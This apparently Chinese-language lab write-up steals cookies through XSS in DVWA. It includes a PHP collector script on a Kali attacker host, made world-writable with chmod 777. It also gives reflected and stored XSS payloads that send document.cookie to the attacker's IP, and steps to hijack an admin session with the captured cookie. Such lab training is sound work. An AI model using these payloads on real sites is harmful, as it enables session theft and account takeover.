攻击机: 192.168.132.144(kali)
受害机: 192.168.132.188(DVWA)
1.low级别然后找反射型xss的界面
且已知反射型xss输入对应的js代码<script>alert(1)</script>
会弹窗。
以及使用<script>alert(document.cookie)</script>
会弹cookie
2.则回kali下写php脚本用来接收,首先确保kali已经开启了apache服务,如果没有则开启的命令是/etc/init.d/apache2 start
确保访问80端口是有默认界面的。
于是进/var/www/html下写脚本,我这里就叫做cookie.php,内容如下:
<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>
且保存后给脚本写权限,我这里为了省事所以直接777了。
虽然脚本能够自己创建对应的cookie.txt,但这里还是需要自己手动创建来修改一个地方,因为我们apache服务的所属组跟默认建立的cookie.txt文件的所属组是不一样的。
第一步先 touch cookie.txt && chmod 777 cookie.txt
创立并提升文件的权限
然后 ps aux | grep apache
枚举出apache服务的所属组,我这里是www-data
因此使用chown www-data:www-data cookie.txt
更改一下,确保其所有组已经成为了www-data
最后使用curl 192.168.132.144/cookie.php?cookie=1
测试一下是否能正确写入数据
3.服务器上的脚本准备就绪,于是我们先去反射型xss界面测试一下是否能正确跳转并把数据写给服务器,构造的代码如下:
<script>location.href="http://192.168.132.144/cookie.php?cookie="+document.cookie</script>
页面如预料的跳转
看一下脚本,发现已经捕获到了对应的cookie
4.利用反射xss能成功把cookie获取了,但现在想要更省事,想要让用户一旦访问该页面就自动把cookie发给服务器,因此去利用存储型xss,注入的脚本如下:
<script>document.write('<img src="http://192.168.132.144/cookie.php?cookie='+document.cookie+'" width=0 height=0 >')</script>
其目的是在页面上加载一个看不见的图片,而图片中嵌入了我们之前在反射型xss里所投掷的cookie发送代码。
等第一次提交过后cookie就自动被发送进我们的cookie.txt里面了。
以及我多点击几次该页面后:
或者用不同的机器访问同一页面:
4.那假设我们已经获取到了一条cookie信息叫做:Cookie:security=low; PHPSESSID=ftad38tdotf4pk8prbv710koe7
那即便知道了又有什么用呢?
要清楚,这里的dvwa我们是使用admin管理员账号登陆的,因此这里的cookie对应着的是一个管理员账户,而有了管理员账户的cookie,我们就能够直接越权登录。
f12打开控制台找到存储,将其中的cookie替换成我们之前抓取到的管理员的cookie
刷新就能登录